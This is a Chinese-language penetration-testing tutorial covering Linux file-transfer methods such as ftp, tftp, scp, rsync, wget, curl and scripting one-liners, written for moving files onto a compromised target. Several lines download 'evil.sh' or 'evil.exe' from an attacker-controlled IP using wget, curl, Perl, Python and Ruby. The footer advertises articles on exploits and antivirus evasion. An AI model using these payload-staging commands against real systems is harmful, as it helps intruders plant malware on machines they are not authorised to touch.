Windows&Linux文件传输方式总结(二)
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。
文章正文
Linux
ftp
ftp在linux一般都自带,我们可以在终端输入ftp进行交互,所以我们可以在本地搭建FTP服务,之后在目标主机上通过终端下的ftp进行远程连接来下载文件
可以使用python3的pyftpdlib模块来搭建ftp:
安装
pip install pyftpdlib
启动
python -m pyftpdlib -p 2121
至此一个简单的FTP服务器已经搭建完成,访问 ftp://127.0.0.1:2121
即可
(默认IP为 127.0.0.1
、端口为 2121
)
可选参数:
-i 指定IP地址(默认为本机的IP地址)-p 指定端口(默认为2121)-w 写权限(默认为只读)-d 指定目录 (默认为当前目录)-u 指定用户名登录-P 设置登录密码
也可以使用IPOP启动一个简易的FTP服务:
之后在目标主机上远程下载evil.exe文件:
tftp
使用下面的命令将服务器本地文件上传到远程主机:
(从服务器下载远程主机的文件也类似,不再演示)
第一步,远程主机运行TFTP服务
apt-get install atftpd //安装tftp服务程序mkdir /tmp/backup //创建目录chmod 777 /tmp/backup //修改权限sudo atftpd --daemon --port 69 /tmp/backup //启动服务程序
第二步,Linux服务器创建测试文件并使用tftp将文件上传到远程主机
echo "sent by tftp." > tftp.senttftp 192.168.43.237put tftp.sent tftp.get
第三步,远程主机查看接收到的文件
sftp
sftp是Secure File Transfer Protocol的缩写,安全文件传送协议。可以为传输文件提供一种安全的网络的加密方法。sftp 与 ftp 有着几乎一样的语法和功能。SFTP 为 SSH的其中一部分。
用法:
运行SSH服务
systemctl start sshd
连接远程服务器:
sftp username@ip
回车之后输入服务器密码即可连接成功。
将文件上传到服务器上:
put [本地文件的地址] [服务器上文件存储的位置]
将服务器上的文件下载到本地:
get [服务器上文件存储的位置] [本地要存储的位置]
scp
scp是secure copy的简写,用于在Linux下进行远程拷贝文件/目录的命令。
和它类似的命令有cp,不过cp只是在本机进行拷贝不能跨服务器,而且scp传输是加密的。可能会稍微影响一下速度。当你服务器硬盘变为只读 read only system时,用scp可以帮你把文件移出来。
另外,scp还非常不占资源,不会提高多少系统负荷,在这一点上,rsync就远远不及它了。虽然 rsync比scp会快一点,但当小文件众多的情况下,rsync会导致硬盘I/O非常高,而scp基本不影响系统正常使用。scp在跨机器复制的时候为了提高数据的安全性,使用了ssh连接和加密方式,如果机器之间配置了ssh免密码登录,那在使用scp的时候密码都不用输入。
安装:
yum install -y openssh-clients
使用:
从本地复制到远程
# 拷贝文件scp /home/test/test.txt root@192.168.0.2:/home/test/# 拷贝目录scp -r /home/test/ root@192.168.0.2:/home/test/
从远程复制到本地
# 拷贝文件scp root@192.168.0.2:/home/test/test.txt /home/test/# 拷贝目录scp -r root@192.168.0.2:/home/test/ v/home/test/
rsync
rsync(remote synchronize)是一个远程数据同步工具,可通过 LAN/WAN 快速同步多台主机之间的文件。也可以使用 rsync 同步本地硬盘中的不同目录。
rsync 具有如下的基本特性:
可以镜像保存整个目录树和文件系统可以很容易做到保持原来文件的权限、时间、软硬链接等无须特殊权限即可安装优化的流程,文件传输效率高可以使用 rsh、ssh 方式来传输文件,当然也可以通过直接的 socket 连接支持匿名传输,以方便进行网站镜象
在使用 rsync 进行远程同步时,可以使用两种方式:远程 Shell 方式(建议使用 ssh,用户验证由 ssh 负责)和 C/S 方式(即客户连接远程 rsync 服务器,用户验证由 rsync 服务器负责)。
无论本地同步目录还是远程同步数据,首次运行时将会把全部文件拷贝一次,以后再运行时将只拷贝有变化的文件(对于新文件)或文件的变化部分(对于原有文件)。
rsync 的命令格式为:
1)本地使用:rsync [OPTION...] SRC... [DEST]2)通过远程 Shell 使用:拉: rsync [OPTION...] [USER@]HOST:SRC... [DEST]推: rsync [OPTION...] SRC... [USER@]HOST:DEST3)访问 rsync 服务器:拉: rsync [OPTION...] [USER@]HOST::SRC... [DEST]推: rsync [OPTION...] SRC... [USER@]HOST::DEST拉: rsync [OPTION...] rsync://[USER@]HOST[:PORT]/SRC... [DEST]推: rsync [OPTION...] SRC... rsync://[USER@]HOST[:PORT]/DEST
例子,使用下面的命令将服务器本地文件上传到远程主机:
echo "sent by rsync." > rsync.sent
rsync -v -u -a -stat rsync.sent user1@192.168.43.237:/home/user1/rsync.get
远程主机查看接收到的文件
rz、sz(lrzsz)
rz sz指令可以实现linux和windows之间的文件传输,但要求在windows客户端要安装Xshell或SecureCRT远程连接工具。
rz指令和sz指令是一对上传与下载的指令。它们的软件包名为lrzsz。
rz : 用于linux与windows之间的文件上传
sz : 用于linux与windows之间的文件下载
工具的安装:
yum install lrzsz -y
rz sz指令使用很简单,执行rz 指令,远程连接工具会弹出windows文件选择窗口,只要选择要上传的文件即可
文件上传:
文件下载:
wget
wget 是一个从网络上自动下载文件的自由工具,支持通过 HTTP、HTTPS、FTP 三个最常见的 TCP/IP协议下载,并可以使用HTTP 代理。"wget" 这个名称来源于 “World Wide Web” 与 “get” 的结合。当目标主机上有安装wget时,我们可以直接通过该应用程序来实现远程文件下载:
wget http://192.168.174.1:1234/evil.sh
cURL
cURL是一个利用URL语法在命令行下工作的文件传输工具,1997年首次发行,它支持文件上传和下载,所以是综合传输工具,但按传统,习惯称cURL为下载工具,cURL还包含了用于程序开发的libcurl,当目标主机中安装了curl时我们可以通过以下方式来实现远程下载文件到本地:
curl http://192.168.174.1:1234/evil.sh -o evil.sh
netcat
首先,我们在本地使用nc起一个监听,并传递我们想要传输的文件名称:
之后在目标主机上下载文件:
Perl
Perl是目前很受欢迎的主流脚本语言,linux主机一般都自带perl环境,我们可以在终端中使用vim来编辑一个perl脚本,之后执行perl来实现远程文件下载:
#!perl#!/usr/bin/perluse LWP::Simple;getstore("http://192.168.174.1:1234/evil.sh","evil.sh");
之后在终端运行该perl文件即可:
python
Python是目前很受欢迎的主流脚本语言,当目标主机内安装了python时,我们可以在shell中使用python来实现远程文件下载:
Type "help", "copyright", "credits" or "license" for more information.>>> import urllib2>>> u = urllib2.urlopen('http://192.168.174.1:1234/evil.sh')>>> localfile = open('local_file.sh','w')>>> localfile.write(u.read())>>> localfile.close()>>>
Ruby
当目标主机内安装了Ruby时,我们可以在终端使用vim来编辑一个Ruby脚本,之后执行Ruby来实现远程文件下载:
#!ruby#!/usr/bin/rubyrequire 'net/http'Net::HTTP.start("192.168.174.1") { |http|r = http.get("/evil.sh")open("save_location.sh", "wb") { |file|file.write(r.body)}}
成功下载文件到本地
PHP
当目标主机内安装了PHP时,我们可以在终端使用vim来编辑一个PHP脚本,之后执行PHP来实现远程文件下载:
<?php $data = @file("http://example.com/file.sh"); $lf = "local_file.sh"; $fh = fopen($lf, 'w'); fwrite($fh, $data[0]); fclose($fh);?>
成功下载远程文件到本地
技术交流
交流群
关注公众号回复“加群”,添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。
知识星球
星球不定时更新最新漏洞复现,手把手教你,同时不定时更新POC、内外网渗透测试骚操作。涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全等
公众号
欢迎关注:
往期文章:
CVE-2022-30190 Follina Office RCE分析【附自定义word模板POC】
利用burp精准定位攻击者
从此 Typora 代码块有了颜色
不会写免杀也能轻松过defender上线CS